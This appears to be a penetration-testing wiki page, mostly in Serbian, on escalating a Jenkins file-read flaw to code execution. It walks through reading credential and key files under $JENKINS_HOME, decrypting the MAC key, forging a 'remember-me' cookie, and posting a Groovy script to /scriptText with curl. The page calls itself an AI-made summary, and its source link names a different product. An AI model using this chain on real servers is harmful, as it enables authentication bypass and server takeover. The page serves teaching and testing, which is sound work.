# Jenkins Arbitrary File Read to RCE via "Remember Me"

{{#include ../../banners/hacktricks-training.md}}

U ovom blog postu je moguće pronaći odličan način da se transformiše ranjivost Local File Inclusion u Jenkins-u u RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)

Ovo je AI kreirani sažetak dela posta gde se zloupotrebljava kreacija proizvoljnog kolačića da bi se dobio RCE zloupotrebom lokalnog čitanja datoteka dok ne budem imao vremena da napravim svoj sažetak:

### Attack Prerequisites

- **Feature Requirement:** "Remember me" mora biti omogućeno (podrazumevano podešavanje).
- **Access Levels:** Napadač treba Overall/Read dozvole.
- **Secret Access:** Sposobnost čitanja binarnog i tekstualnog sadržaja iz ključnih datoteka.

### Detailed Exploitation Process

#### Step 1: Data Collection

**User Information Retrieval**

- Pristupite korisničkoj konfiguraciji i tajnama iz `$JENKINS_HOME/users/*.xml` za svakog korisnika da prikupite:
- **Username**
- **User seed**
- **Timestamp**
- **Password hash**

**Secret Key Extraction**

- Izvucite kriptografske ključeve korišćene za potpisivanje kolačića:
- **Secret Key:** `$JENKINS_HOME/secret.key`
- **Master Key:** `$JENKINS_HOME/secrets/master.key`
- **MAC Key File:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac`

#### Step 2: Cookie Forging

**Token Preparation**

- **Calculate Token Expiry Time:**

```javascript
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Dodaje jedan sat trenutnom vremenu
```

- **Concatenate Data for Token:**

```javascript
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
```

**MAC Key Decryption**

- **Decrypt MAC Key File:**

```javascript
key = toAes128Key(masterKey)  // Konvertuje master ključ u AES128 format
decrypted = AES.decrypt(macFile, key)  // Dešifruje .mac datoteku
if not decrypted.hasSuffix("::::MAGIC::::")
return ERROR;
macKey = decrypted.withoutSuffix("::::MAGIC::::")
```

**Signature Computation**

- **Compute HMAC SHA256:**

```javascript
mac = HmacSHA256(token, macKey) // Izračunava HMAC koristeći token i MAC ključ
tokenSignature = bytesToHexString(mac) // Konvertuje MAC u heksadecimalni string
```

**Cookie Encoding**

- **Generate Final Cookie:**

```javascript
cookie = base64.encode(
username + ":" + tokenExpiryTime + ":" + tokenSignature
) // Base64 kodira podatke kolačića
```

#### Step 3: Code Execution

**Session Authentication**

- **Fetch CSRF and Session Tokens:**
- Napravite zahtev ka `/crumbIssuer/api/json` da dobijete `Jenkins-Crumb`.
- Zabeležite `JSESSIONID` iz odgovora, koji će se koristiti zajedno sa kolačićem "remember-me".

**Command Execution Request**

- **Send a POST Request with Groovy Script:**

```bash
curl -X POST "$JENKINS_URL/scriptText" \
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
--header "Jenkins-Crumb: $CRUMB" \
--header "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "script=$SCRIPT"
```

- Groovy skripta može se koristiti za izvršavanje komandi na sistemskom nivou ili drugih operacija unutar Jenkins okruženja.

Primer curl komande prikazan je kako bi se pokazalo kako napraviti zahtev ka Jenkins-u sa potrebnim zaglavljima i kolačićima za sigurno izvršavanje proizvoljnog koda.

{{#include ../../banners/hacktricks-training.md}}
